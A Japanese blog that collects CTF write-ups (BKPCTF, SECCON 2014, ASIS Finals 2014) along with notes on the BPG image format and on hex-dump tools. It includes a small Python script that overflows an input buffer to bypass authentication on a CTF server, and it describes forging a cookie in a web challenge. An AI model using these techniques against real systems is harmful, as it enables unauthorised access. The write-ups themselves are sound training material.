BKPCTFを触りだけやってきた

先週の土日に Boston key party CTF に少しだけ参加した。
いつもReverseばっかり見てるけど、そろそろPWNもできるようにならねば…と思い立ったのでPWN問題に取り組んでみた。
今回は参加したというほどガッツリやっていないけど、初のx86-64解析デビューということもあるので(そして初のボッチCTFということもあり)記念に Kendallの問題(PWN 300. 途中まで)を書くことにする。

問題サーバに接続

問題サーバに接続するよう問題文が書いてあり、x86-64で動作するELFファイルが与えられる。
実行してみると、DHCP Management Console なるものが表示される。

[rintaro@rintaro_PC] $ nc 52.0.164.37 8888
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]# 

DHCPのログ参照やステータス参照をできるようだ。
ただし、変更や反映は認証済みの状態でないとできないようだ。
無論パスワードはわからない。

[m]# a
Password: hoge
Authentication failed!
[m]# 

バイナリを見てみる

一通り遊んだところでx86-64バイナリを眺めてみる。

[root@madone] # readelf -r kendall.a125e431e553c7ec2d9845c90c0f4ed1

Relocation section '.rela.dyn' at offset 0x7d0 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000602658  001300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602840  002300000005 R_X86_64_COPY     0000000000602840 stdout + 0
000000602850  002400000005 R_X86_64_COPY     0000000000602850 stdin + 0
000000602858  002500000005 R_X86_64_COPY     0000000000602858 optarg + 0

Relocation section '.rela.plt' at offset 0x830 contains 34 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000602678  000100000007 R_X86_64_JUMP_SLO 0000000000000000 strncpy + 0

(snip)

000000602718  001500000007 R_X86_64_JUMP_SLO 0000000000000000 listen + 0
000000602720  001600000007 R_X86_64_JUMP_SLO 0000000000000000 bind + 0
000000602728  001700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0
000000602730  001800000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0
000000602738  001900000007 R_X86_64_JUMP_SLO 0000000000000000 getopt + 0
000000602740  001a00000007 R_X86_64_JUMP_SLO 0000000000000000 accept + 0
000000602748  001b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit + 0
000000602750  001c00000007 R_X86_64_JUMP_SLO 0000000000000000 fwrite + 0
000000602758  001d00000007 R_X86_64_JUMP_SLO 0000000000000000 getaddrinfo + 0
000000602760  001e00000007 R_X86_64_JUMP_SLO 0000000000000000 fork + 0

(snip)

Network部分まで実装してある模様。forkだしメモリがリークできれば普通にいけんじゃね、とか思いつつ読んでいく。
vmmapを見てみると.pltの領域に実行フラグが立っていて、open, read, writeやsystem関数が存在したため最初はこれらを奪う問題かと思っていたが、読み進めると認証部分をどうにかできそうなことがわかる。

読み進めていくと、認証済みかどうかを見るためのflagが.bss領域の"0x602900"に存在し、そこを見て認証状態を確かめている。
初期値で1がセットされ、0ならば認証済み、それ以外ならば未認証という具合だ。
f:id:f_rin:20150303011011p:plain

そして認証flagに隣接する領域(0x80Byte手前)に入力文字列が入る領域があることが分かった。

gdb-peda$ x/50i $rip
=> 0x4014fe:	mov    QWORD PTR [rbp-0x10],0x602900       # 認証flag
   0x401506:	mov    rax,QWORD PTR [rip+0x201333]

   (snip)

   0x4015a1:	lea    rax,[rbp-0x40]
   0x4015a5:	mov    esi,0x602880                        # 入力文字が入るところ
   0x4015aa:	mov    rdi,rax
   0x4015ad:	call   0x400c80 <strcmp@plt>

さらに、DHCPのログ検索機能の中で文字入力のMax Length=0x80 として入力を受け付ける箇所がある。
怪しいと思い入力受付機能を見ると、最後の改行文字またはMax Length+1文字目を文字列の終端(Null Byte)に置き換える処理を施している。つまり、この機能を呼び出して80文字以上を入力すると認証flagの領域をNull Byteで上書きでき、認証をバイパスできるということになる。

認証バイパス

ということで、認証flagを書き換える。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket, re, telnetlib

def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	print "switch to manual mode."
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

host = "52.0.164.37"
port = 8888

# bypass authentication
s, f = sock(host, port)
print read_until(f, "[m]# ")

f.write("d" + "\n")
print read_until(f, "[d]# ")

f.write("f" + "\n")
print read_until(f, "Enter filter condition: ")

f.write("a"*0x80 + "\n")
print read_until(f, "[d]$ ")

shell(s)

権限昇格でき、すべての機能を使うことができるようになった。

[rintaro@rintaro_PC] $ python bypass_auth.py
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]#
[d]#
Enter filter condition:
[d]$
switch to manual mode.

m
[m]$ a
Password: aaaa
Authentication succesfull
[m]$

使えるようになった機能は以下。

  • start ip 変更
  • end ip 変更
  • netmask ip 変更
  • nameserver ip 変更(使えそう)
  • renew leases (なにやら"./renew_lease"とかいう怪しいプログラムを叩いている)

バイナリ解析では他にもBOFを使って制御を奪取できそうな箇所を探したけど、そんなところはなかったので、Name Serverを自身のサーバIPにして"./renew_lease"を叩いたら何か飛んでくるんじゃないかなーと思っていたが、今回ぼっちでやってて外部公開サーバも持ってないし、飲みにいく予定もあったためここで断念。

なんか認証バイパスしたら変に納得してしまった感があり、後はひたすら飲んでいた。

今回で良くわかったこと。

  • 特にSECCONとかで思ってたけど、外部公開サーバはやっぱりないとダメだ。やはりハニーポット立てるべきか…
  • ボッチCTFはイクナイ(・A・)。腰を据えてしっかりやれない。自分に必要なのは集中力と忍耐力だった。
  • 他の問題に目を配らなかったけど、1問くらいは簡単なやつでいいから解いておいたほうがいい。ちゃんとやってなくても後で振り返ると意外とダメージがある。

とはいえ久々にバイナリ読んで穴を探すっていう作業は楽しかった。
次はもっとじっくりとワイワイやりたい。

追記:
Balalaika Cr3wがWriteup出してたので見てみたら、ここまではアプローチとしては正しかったみたいだ。
httpsで待ってるとSuperfishでアクセスが来て、FLAGになってたみたいだ。
なんてタイムリーw さすがCTF界隈。

うん。これはマジで外向けのサーバ用意したほうがいいな…

新しい画像ファイルBPGを使う

"BPG Image format"という新しい画像ファイルフォーマットが出てきている。
まだViewerがなくて、デフォルトで見るにはJavaScriptを使わないと見えないけど、圧縮率も高いようなので使ってみた。
それとマジックバイトも気になったので見てみた。

BPGのサイトはこちら

特徴はざっとこんな感じ

  • 高い圧縮率。JPEGよりも遥かに小いサイズだが同程度の品質
  • JavaScriptデコーダさえあれば、ほとんどのブラウザでサポート
  • JPEGと同じchroma format(彩度とか輝度とか)。これにより、変換による劣化を低減
  • 圧縮時のロスがない(可逆ってことですかね)
  • EXIF, ICC profile, XMPとかのメタデータも含められる

なお、今回はWindows環境にて試している。
特にレジストリ書き換え等もないため、ファイルを配置するだけで利用可能である。

BPGファイルの生成

まずはBPGファイルを利用するために、ページからBPGのエンコーダをダウンロードする。
f:id:f_rin:20141219011617p:plain

zipを解凍して、そのフォルダにjpgとかpngファイルをコピーする(今回は "in.jpg" )。
f:id:f_rin:20141219012247p:plain
あとは元の画像ファイルを引数としてエンコーダを叩いてあげるだけ。
CMDでやるならば、以下の1行で良い。カレントディレクトリにファイル"out.bpg"が出力される。

C:\Users\rintaro\bpg-0.9.3-win32>.\bpgenc.exe in.jpg

もしくは、元の画像ファイルを"bpgenc.exe"までドラッグ&ドロップしてあげればいい。
元の画像ファイルと同じフォルダに"out.bpg"が出力される。
f:id:f_rin:20141219012924p:plain

※ちなみに、jpgとpngは変換できたが、bmpgifはできなかった。

C:\Users\rintaro\bpg-0.9.3-win32>bpgenc.exe in.gif
Not a JPEG file: starts with 0x47 0x49
C:\Users\rintaro\bpg-0.9.3-win32>bpgenc.exe in.bmp
Not a JPEG file: starts with 0x42 0x4d

BPGファイルの閲覧

先にも書いたが、WindowsにはまだViewerがないようで、JSにより復元する。
解凍したフォルダの中に、htmlというフォルダが入っている。
サンプルを見ると、その中の"bpgdec8b.js"を利用すると閲覧できるようだ。
同じフォルダに、生成したBPGファイルを入れ、以下のHTMLを書く。

<html>
  <head>
    <meta charset="UTF-8"> 
    <script type="text/javascript" src="bpgdec8b.js"></script>
  </head>
  <body>
    This is a bpg.<br />
    <img src="out.bpg">
  </body>
</html>

BPGファイルの指定は、jpgなどと同様にimgタグで指定すればよい。
あとはこのHTMLファイルを開くだけ。
f:id:f_rin:20141219013932p:plain

ちなみにサイズを見てみると半分以下。なかなか賢い。
f:id:f_rin:20141219020307p:plain

ちゃんとJPGとの比較・評価はしてないけど、見た目変なところはないし、サイズも小さい。閲覧さえ簡単になればいいと思った。
jpgとの比較結果を見たければ以下サイトとかを見るといいと思う。

JPEG画像の約半分のファイルサイズで同品質のものを表示できる画像形式「BPG」が誕生、実際に使ってみるとこんな感じ - GIGAZINE

BPGファイルのマジックナンバー

このBPGファイルに対してfileコマンドを打ってみる。
もちろん結果は、

[rintaro@rintaro_PC] $ file out.bpg
out.bpg: data

見事にdataとなっている。
ただ、hexを見てみると、先頭6バイトがは固定されている。

[rintaro@rintaro_PC] $ xxd out.bpg|head
0000000: 4250 47fb 2000 8161 8161 8656 0392 4740  BPG. ..a.a.V..G@
0000010: 4401 c190 9581 1200 0001 2601 af26 e7ab  D.........&..&..
0000020: 7ff8 8039 a57d b4fe d6b5 3465 fcad 2004  ...9.}....4e.. .
0000030: 731f 8c55 04c3 539d 401b 8be7 9035 3cc4  s..U..S.@....5<.
0000040: 9949 138c e9dd 923c 82b5 29be 6d1d 6206  .I.....<..).m.b.
0000050: 3a0d fdf3 644f 1eae b436 4dab e746 390c  :...dO...6M..F9.
0000060: 62e5 009d 4eaa 56de 1aaf d933 af4a 9abe  b...N.V....3.J..
0000070: 4aac 27d1 2308 ec00 de20 0b6c 20a6 ac1e  J.'.#.... .l ...
0000080: 7c8a 7cc1 392d 0811 b24f 9bd4 4d9b 5662  |.|.9-...O..M.Vb
0000090: 561f 802f 29a1 af56 d343 9860 ab7c 17cf  V../)..V.C.`.|..

ASCIIだと先頭3文字が "BPG"から始まる。hexだと "4250 47fb 2000" となっているのがBPGファイルだ。
もしCTFとかでなんかわからんファイルが出てきて、先頭が"BPG"となっていれば、画像ファイルとして復元できるだろう。
というか、そのうちfileコマンドが対応するよね。メジャーになればだけど。

それまでは、目grepでがんばることにする。

16進数ダンプコマンドの違い

前回のエントリで、hexdump コマンドを使ったら想定した順序でバイナリがダンプされず苦い思いをした。
得点にも繋がった可能性もあると思うと悔やまれたため、整理(今更…)。
なお、今回はリトルエンディアンの環境で試している。

hexdump

バイナリをダンプしたいときは hexdump をよく使う。
いつもは -C オプションを付けてASCIIと一緒に見るが、オプションをつけないときと挙動が違う。
オプションなしでhexdumpを呼び、"ABCD" を16進数で表す。

[root@kali] # echo "ABCD" | hexdump
0000000 4241 4443 000a
0000005

2byteずつ読み込み、それを逆転させて出力しているため、想定した並び順となっていない。
紛らわしすぎる。
-C オプションを付けると1byte単位で読むようになり、想定した順序で出力された。

[root@kali] # echo "ABCD"|hexdump -C
00000000  41 42 43 44 0a                                    |ABCD.|
00000005

hexdumpまとめ

hexdump使うときはとりあえず -C をつけることにするといい。
(ときと場合にもよるけど)

xxd

これもよく使っている。特に逆変換するとき。
オプションなしで出力すると、2byteずつの区切りで表示されるが、順序はCharacterごとになって表示されている。想定どおり。

[root@kali] # echo "ABCD"|xxd
0000000: 4142 4344 0a                             ABCD.

-g オプションで groupsize を指定できるようなのでやってみたが、順序は変わらない。

[root@kali] # echo "ABCD"|xxd -g 1
0000000: 41 42 43 44 0a                                   ABCD.
[root@kali] # echo "ABCD"|xxd -g 2
0000000: 4142 4344 0a                             ABCD.

全角文字を試してみても同じ。

[root@kali] # echo "競駆魂"|xxd -g 1
0000000: e7 ab b6 e9 a7 86 e9 ad 82 0a                    ..........
[root@kali] # echo "競駆魂"|xxd -g 2
0000000: e7ab b6e9 a786 e9ad 820a                 ..........

xxdまとめ

xxdによるダンプは、1byte単位で出力され、逆転もされない。

od

これはそんなに使わないけどメモ。
16進数で出すには、 -h や -x オプションを使う。

[root@kali] # echo "ABCD"|od -h
0000000 4241 4443 000a
0000005
[root@kali] # echo "ABCD"|od -x
0000000 4241 4443 000a
0000005

2byteずつ読んでいる。hexdumpをオプションなしで呼んだときと同じ。
読み込むbyte単位を指定したいときは、 -t オプションでTYPEを指定し、"x" で16進数指定する。

[root@kali] # echo "ABCD"|od -t x
0000000 44434241 0000000a
0000005
[root@kali] # echo "ABCD"|od -t x1
0000000 41 42 43 44 0a
0000005
[root@kali] # echo "ABCD"|od -t x2
0000000 4241 4443 000a
0000005
[root@kali] # echo "ABCD"|od -t x8
0000000 0000000a44434241
0000005

Wikipedia(ぇ によると、odはエンディアン依存の実行結果を表示するようだ。
区切って読んだあとに逆転させて表示されている。数字を指定しないと4byte単位。

odまとめ

オプションしっかり指定してやらないとハマりそう。

結論

これからはデフォルトでは xxd 使うことにしよう。
ただエンディアンに依存して表示したいときはodコマンドを使うことにしよう。

SECCON2014 オンライン予選(en)

12/6 9:00 ~ 12/7 17:00 で、SECCON2014 が開催されたため、チームctpmとして参加してきた。
結果は3,200点で25位。上位チームとは2倍以上も差があるのが恐ろしい。

f:id:f_rin:20141208002435p:plain

今回は自分では大して仕事をしていない感が強かったけど、感想も兼ねてWriteupを書く。課題はexploit.

Reverse it(bin 100)

fileコマンドを打つと、ただのデータの模様。
中身を見てみる。

[rintaro@rintaro_PC] $ hexdump Reverseit
0000000 9dff 700d b6da fc93 7263 2822 22bd d218
0000010 b425 d47b 8c00 a1ab 609e e707 bb04 3156
0000020 7b5a d684 bbd4 b97e 00a0 ab6d 36cd 31c9
0000030 a4d1 012d 5872 a9b5 3acf c104 1b51 4700
0000040 dd70 0814 e965 9377 b431 3776 96f8 1049

(snip)

0001de0 1000 1000 0000 3000 2110 7000 8000 0000
0001df0 a200 d4d4 0000 6696 8754 2d00 1eff 0000
0001e00 8400 8400 1010 1000 6494 64a4 0100 0eff
0001e10 8dff
0001e12

始まりが 9dff, 終わりが 8dff なので、jpgファイルが4bitごとに反転されているのがわかる。
大会中はCybozuLive + Chat でやりとりしてるんだけど、
「4bitずつに分割して反転すればOK」と書き込んだ4分後にチームメイトが flag 書き込んでくれてた。正直すごいと思った。

Decrypt it(Easy)(crypt 200)

以下3ファイルをダウンロードできる。

  • readme.txt : 中に $ ./rnd crypt1.png ecrypt1.bin と書いてある
  • rnd : 32bit ELF実行ファイル
  • ecrypt1.bin : dataファイル

引数を2つとってrndを実行するというものらしいが、第1引数のファイルがない。
rnd を逆アセしてみると、次のようになっている。
f:id:f_rin:20141208004835p:plain

srandにUNIX epoch time を詰め込んで、その後のrand値をもとにビット演算, ADD, ANDといった計算をする。
さらに、第1引数のファイルから読み込んだの値と XOR をしてファイル出力している。
第1引数に該当するファイルがないため、これを復元するためにUNIX epoch timeを算出できればよい。
この実行ファイルでは、rand関数の値をもとに

sar      edx, 31
shr      edx, 24

といった計算がされているが、C言語のstdlib.hでは最大 0x7fffffff までの値しか出力されないため、これらは実質意味がない計算となる(すべて0になる)。
これらを端折り、pngの先頭4バイトからecrypt1.binの4バイトを生成する epochtime を求める。

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

int encrypt(unsigned int rnd, unsigned int input){
    unsigned int edx,enc;
    edx = rnd;

    enc = input ^ edx;
    enc = enc & 0xFF;

    return enc;
}

bool encryptable(int src, int dst){
    int rnd = rand();
    int enc = (encrypt(rnd, src));
    return dst == enc;
}

int main(int argc, char *argv[]){
    unsigned int eax,edx;
    int time = 0;
    int i;

    for(i=1400000000;i<1418310000;i++){
        srand(i);

        // 1st byte
        if(!encryptable(0x89, 0x34)) continue;

        // 2nd byte
        if(!encryptable(0x50, 0x70)) continue;

        // 3rd byte
        if(!encryptable(0x4e, 0xf0)) continue;

        // 4th byte
        if(encryptable(0x47, 0x2d)){
            printf("time: %d\n", i);
        }
    }
    return 0;
}

これで epochtime が"1416667590"であることがわかる。これをもとに逆算してやればよい。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    FILE *fp1, *fp2;
    char *filename1 = "ecrypt1.bin";
    char *filename2 = "decrypted.png";

    int time = 1416667590;
    int src, random;
    unsigned int edx;

    char buf[20];
    fp1 = fopen(filename1, "rb");
    fp2 = fopen(filename2, "wb");

    srand(time);

    while(fread(&src, 1, 1, fp1)==1){
        edx = rand();
        src = src ^ edx;

        fwrite(&src, 1, 1, fp2);
    }
    fclose(fp1);
    fclose(fp2);

    return 0;
}

pngファイルが出力されたので、この先はチームメイトに任せて自分は他の問題に移った。
f:id:f_rin:20141208012155p:plain

version2(nw 200)

チームメイトから、h2oとversion2という言葉から連想できることない?
と聞かれ、「http/2じゃね?」といったら解決した。持つべきものはチームメイトです。
この前HTTP/2カンファレンス行っといて良かったw

choose the number(pg 100)

サーバにnc接続すると、いくつかの数字とmax, minを聞かれるため、ひたすらそれに答えていく問題。

#!/usr/bin/env python
import socket

hostname = "153.120.128.155"
port = 31337

bufsize=1024 * 10

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname,port))

data = s.recv(bufsize)
cnt = 0

while 1:
    print cnt
    cnt += 1
    print data

    lineList = data.split('\n')
    nums = lineList[0].split(', ')
    nums = map(long,nums)
    #print 'numlist:', nums

    if 'maximum' in lineList[1]:
        senddata = max(nums)
    elif 'minimum' in lineList[1]:
        senddata = min(nums)
    else:
        print 'error.'
        break

    print 'send:', senddata
    s.sendall(str(senddata))
    data = s.recv(bufsize)

s.close()

途中からmin, max以外のものも聞かれるかと思っていたが、そんなことなかった。

[root@kali] # python solve.py
0
-6, -8
The maximum number? 
send: -6
1
-8, 2, 1
The maximum number? 
send: 2

(snip)

99
3026579565, -4268653171, 824594082, -1216800427, -2942059119, 2734824164, 2378867278, -3312616937, -1450788809, 2609446196, 933229918, -525031883, 2658713277, -3424197581, 2714002200, 961679001, -1918141388, 2384073056, -2349209667, -3795758126, -4053382186, -4128329931, -1220975135, -2445923040, -646890171, -3105229879, -3785136266, 2150927192, 666171246, 2339568430, 1457151652, -3789764701, 2958693042, 2949695341, 1215289247, 1945421978, 3719865041, -1827448426, -560498694, -1501020665, -4125652107, 2095140397, -1209597803, -1380665248, 2024078738, -3669945851, -932304006, -3662055663, -3345496903, 3422310749, -308751840, 3836085859, 3783586083, 209757048, -2013587456, -556615597, 2817625014, 1000219239, -3647092256, -2153377637, -2060011630, 414266117, 2987383496, 3356743747, 2037768595, 167324123, 1894461082, 3785190578, 3719997868, -3896365555, -3023028888, 1736304958, -143009352, 383457339, -1341908584, 2597950776, -2942290071, -940979268, 237865581, -473747952, 4104067010, -95495622, -473772437, 1573676099, -1344741287, -3961922306, -2691292645, 2955392562, -871606715, -1068266030, 1024089948, -1371364589, -245319363, -1352852338, 3445587717, -148004269, 2246597267, 1982576407, -373017230, -1649620257, -1985458588
The minimum number? 
send: -4268653171
100
Congratulations!
The flag is SECCON{Programming is so fun!}

Advanced RISC Machine(exploit 300)

ARMの実行ファイルのExploit.

[root@kali] # checksec.sh --file passcheck-arm
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   passcheck-arm

スタック上でシェルは実行はできない。
Raspberry Piが手元にあったがうまく実行できず、静的解析のみで読み進めていった。
しかし、いつもデバッガ+静的で読んでいるのが裏目に出てうまく読めなかった。
sys_readの長さチェックをやっていないため、SVCでsys_open呼んでsys_read→sys_writeさせればいけるなぁと思いつつも、攻略できず撃沈。

The Golden Gate(pg 400)

エンコーダーボードの写真と暗号文をもとに、デコードする問題。
これは回路に起こして復号するところは自分はやっていなかったけど、とても惜しかったため紹介。
エンコーダーボードから回路を書きおこしてもらった。
f:id:f_rin:20141208185516p:plain

まず与えられている文字列をbase64デコードする。文字数的に"==" は余分なため、削除した状態でデコードすると良い。

[root@kali] # echo "BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS" | base64 -d > tmp_file
[root@kali] # hexdump tmp_file
0000000 0005 92f2 1968 8ed0 6992 ea09 8fe2 10e2
0000010 6ee3 eb75 7457 5df2 5da6 5554 5429 daeb
0000020 3a19 eadb 779c 9ce2 5cea f211 5f23 682f
0000030 4592 b269 36ec 9292 0092               
0000039

これを、回路をトレースしたコードに食わせると、文字列が得られる。

8b 1f 00 08 4b 02 54 73 03 00 c9 0b 55 48 cb 48 4c 49 c8 57 56 2c 76 08 76 75 f7 f6 f6
ab 29 c8 31 4b c9 28 8c cf cf 48 77 c9 08 ca ad f1 02 e5 b7 00 a0 03 25 87 00 00 8b 00

実はこれ、競技時間中にはチャットから流れていってしまって気付けなかった。
本当にもったいない&申し訳ないことをした。ちゃんと見ていれば良かったorz
8b 1f なので、gzipが逆転しているため、大会後に戻してみたら速攻でflag取得できた。
しかも後から気付くと、hexdump で見てたけど、xxd で見た文字列を入力値に使っていれば反転すらしてないgzipの値が得られるではないか。
回路を復元してデコードすれば良いだけの問題であることがわかる。

[root@kali] # echo "1f8b0800024b735400030bc9485548cb494c57c82c5608767576f6f7abf6c8294b3128c9cf8c48cfc977ca08f1ade50200b703a087250000009f"|xxd -r -p > out.gz
[root@kali] # gzip -dc out.gz
The flag is SECCON{Hlvd0toiXgloBhTM}

gzip: out.gz: unexpected end of file

その他

Holy shellcode(exploit 400)は、x86上で普通に動くシェルは作成したものの、ヘブライ語化は手付かずのままとなってしまったため進捗ダメです状態で終了。
XSSも、他メンバがやっていたものにあーだこーだ言っていたぐらいでメインでは攻略に参加せず。

ひとつ驚いたのはBleeding "Heartbleed" Test Web(web 300)だ。
チームメイトが自宅に公開サーバを作ってきたけどIPアドレスを忘れてしまい困った事態に陥ったが、Cloudnに詳しいメンバの手により一瞬で外部アクセス可能なサーバを用意してもらいました。無料ポイントを使えたので、無料にて攻略ができたのが感動した。
その後はすぐ解約してましたw

持つべきは仲間ですね。本当にそう思った。
それと、他の問題の状況も確認する。これ大事。
当たり前だけどポイント落とさないためにもコミュニケーションほんとに重要だった。

この順位だと本戦にいけるかはわからないけど、しばらくは海外勢の様子を観察しながらExploitの練習を続けることにする。

ASIS CTF Finals 2014 Writeup

日本時間の10/11~13で ASIS CTF Finals 2014 が開催された。
本戦出場権がなくても参加可能であり、某チームで参加してきたのでWriteup。

全体的にはstegoがやたら難しかったのと、バイナリはx86-64が多くてしっかり見れなかったイメージ。
苦手アーキがあるとダメだな。。

Lottery

Web問題。
まずはページにアクセスする。
1234567890番目にアクセスするとご褒美がもらえる模様。

f:id:f_rin:20141014031551p:plain

もう一度アクセスしてみると、「何度目の訪問者か」が表示される。
1234567890番目には程遠い。

f:id:f_rin:20141014031601p:plain

ここで、リクエストの Cookie を表示してみると、それっぽいCookie "Visitor" が存在することがわかる。

f:id:f_rin:20141014031609p:plain

この値をbase64decodeすると、以下の値になっていることがわかる。

[rintaro@rintaro_PC] $ echo "Nzg3OjM2MjFmMTQ1NGNhY2Y5OTU1MzBlYTUzNjUyZGRmOGZi"|base64 -d
787:3621f1454cacf995530ea53652ddf8fb% 

左がカウンターで、右がそのMD5になっているため、
左を1234567890、右をそのMD5にしたものを "Visitor" にセットしてアクセスしたらFlagが出力された。

1234567890:e807f1fcf82d132f9bb018ca6738a19f
↓
MTIzNDU2Nzg5MDplODA3ZjFmY2Y4MmQxMzJmOWJiMDE4Y2E2NzM4YTE5Zg%3D%3D

f:id:f_rin:20141014031618p:plain

Flag.

ASIS_9f1af649f25108144fc38a01f8767c0c 

Fact or Real?

Recon、いわゆるネットストーキングの問題。
問題文は、

ASIS_md5(motto) 

なにかのモットーを答えれば良い。
Fact or Real のキーワードで探していくと、Twitterアカウントの @factoreal というものが ASIS-CTF manager のアカウントで存在することがわかる。

[このツイート]MD5して答えると正解だった。

f:id:f_rin:20141014031631p:plain

Flag.

ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6

Lion Cub

reversing 問題。
これはバイナリ解析しているときに、他の方に解析結果出してもらったので、実はそこまで仕事してない(ぇ
けど取り組んだので紹介する。

問題文

Flag is encrypted using this program, can you find it?
simple_f0455e55c1d236a28387d04d5a8672ad.tar

問題を取得し、解凍すると "flag.enc" という暗号ファイルと x86-64 のELFファイルが出てくる。

[rintaro@rintaro_PC] $ file simple_5c4d29f0e7eeefd7c770a22a93a1daa9
simple_5c4d29f0e7eeefd7c770a22a93a1daa9: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=ab7a63652b0602fb5e73b31aa0cecbf1466bb719, stripped
[rintaro@rintaro_PC] $ 

x64は、慣れた逆アセンブラがないなーと思いながらGDBで追いかける。
しかもC++だ…。
バイナリを見ていると、

400c2c あたりから、 "flag" というファイルから値を取ってきて、変換し、 "flag.enc" というファイルに出力しているみたい。

gdb-peda$ x/80i 0x400c2c
=> 0x400c2c:	mov    esi,0x400eec     # 文字列 "flag" を読み込み
   0x400c31:	mov    rdi,rax
   0x400c34:	call   0x400ab0 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@plt>
   0x400c39:	lea    rax,[rbp-0x440]
   0x400c40:	mov    rdi,rax
   0x400c43:	call   0x400ac0 <_ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1Ev@plt>

   ……

   0x400cd1:	lea    rax,[rbp-0x240]
   0x400cd8:	mov    rsi,rcx
   0x400cdb:	mov    rdi,rax
   0x400cde:	call   0x400a50 <_ZNSi4readEPcl@plt>  # std::istream::read を呼び出し

   ……

   0x400d05:	mov    eax,DWORD PTR [rbp-0x14]       # ループカウンタ取得
   0x400d08:	movsxd rdx,eax
   0x400d0b:	mov    rax,QWORD PTR [rbp-0x20]       # "flag" から読み込んだ文字列ロード
   0x400d0f:	add    rax,rdx
   0x400d12:	movzx  edx,BYTE PTR [rax]             # 1文字取り出して
   0x400d15:	mov    eax,DWORD PTR [rbp-0x14]
   0x400d18:	cdqe   
   0x400d1a:	lea    rcx,[rax+0x1]
   0x400d1e:	mov    rax,QWORD PTR [rbp-0x20]
   0x400d22:	add    rax,rcx
   0x400d25:	movzx  eax,BYTE PTR [rax]             # 1文字次の値も取り出して
   0x400d28:	xor    eax,edx                        # その2つを XOR
   0x400d2a:	movsx  edx,al
   0x400d2d:	lea    rax,[rbp-0x440]
   0x400d34:	mov    esi,edx
   0x400d36:	mov    rdi,rax
   0x400d39:	call   0x400a40 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c@plt>
   0x400d3e:	add    DWORD PTR [rbp-0x14],0x1       # ループカウンタをインクリメント
   0x400d42:	lea    rax,[rbp-0x30]
   0x400d46:	mov    rdi,rax
   0x400d49:	call   0x400e22
   0x400d4e:	sub    eax,0x1
   0x400d51:	cmp    eax,DWORD PTR [rbp-0x14]
   0x400d54:	setg   al
   0x400d57:	test   al,al
   0x400d59:	jne    0x400d05

   ……

要するに、"flag" ファイルから、 flag[i] ^ flag[i+1] の処理をして flag.enc を生成している。
ここらへんまで読んでいたら、他の方が復元ファイルを作ってくれていた。
なんか復元部分がメインのような気もするが、先に進む。

f:id:f_rin:20141014031646p:plain

QRコードpngファイルなので、それを読むと、

1f8b0808928d2f540003666c61672e706e67000192016dfe89504e470d0a
1a0a0000000d494844520000006f0000006f0103000000d80b0c23000000
06504c5445000000ffffffa5d99fdd0000000274524e53ffffc8b5dfc700
0000097048597300000b1200000b1201d2dd7efc0000012449444154388d
d5d431ae84201006e079b1a0d30b90cc35e8b8925e40e5027a253aae41e2
05b0a320ce1bb2bbef651b87668b25167e0501867f007a1bf01d4c004be8
76af0150e449650a71087aa1067afee9762aa36ae2a8746f7523674bbb2f
4de4250c12fd6ff2867cde2968fefe8e7f431e17943af155d81b26d06068
b3dd661a68d005987cfc219997e23b8ab3c24bc9a4808e3acab4da065204
a541e166506402e4592ec71148e499cbe0f914b42a99c91eb59221824591
e4613475b9dd93c804e4087a13472bf3ac05e7781f6b0b0326551be77147
02b35e38540a0064f2481c6fc2d3cbe4c472bc5dd613c9e45e98a10c19cf
576bdc915b9213cbbb524d9c88d73ab667ad44d667e419957b72ffdace79
bc8ccc47fff696eb2ff3734feea7f80bb686232e7a493424000000004945
4e44ae426082fb73fb8e92010000

最初の"1f 8b"で、どう見てもgzipです。(←これ、一度は言ってみたかった)
このとおりのバイト列でgzipファイルを作成し、解凍すると、flag.png が展開される。

f:id:f_rin:20141014031654p:plain

これを読み込むとFlagが表示された。

ASIS_e87b556efc59f8351aec0858da850906

大会中には "flag" ファイル逆算は書きませんでした。
読むの遅いからなぁ。。

(追記)大会後だが、どうせなので復元スクリプト書いてみた。

import os

f=open('flag.enc', 'r')
data = f.read()
f.close()

for i in range(0x100):
	os.system('touch flag_' + str(i))
	f_o=open('flag_' + str(i), 'r+b')

	f_o.write(chr(i))
	for j in range(len(data)):
		seed = data[j]
		xored = i^ord(seed)
		f_o.write(chr(xored))
		i = xored

	f_o.close()

このあと、flag_xxx に対してループでfileコマンドを仕掛けると gzip になってるやつがいて、それを解凍すると最初のQRコードpngファイルが展開されるというものだった。

Capsule

NW問題。

Find the flag in this file.
capsule_239acad5fcfe4722e624da66c9c02542 

ファイルが与えられ、見てみるとpcapngファイルになってる。

[rintaro@rintaro_PC] $ file capsule_239acad5fcfe4722e624da66c9c02542
capsule_239acad5fcfe4722e624da66c9c02542: pcap-ng capture file - version 1.256

だが、壊れていてWiresharkではうまく開くことができない。
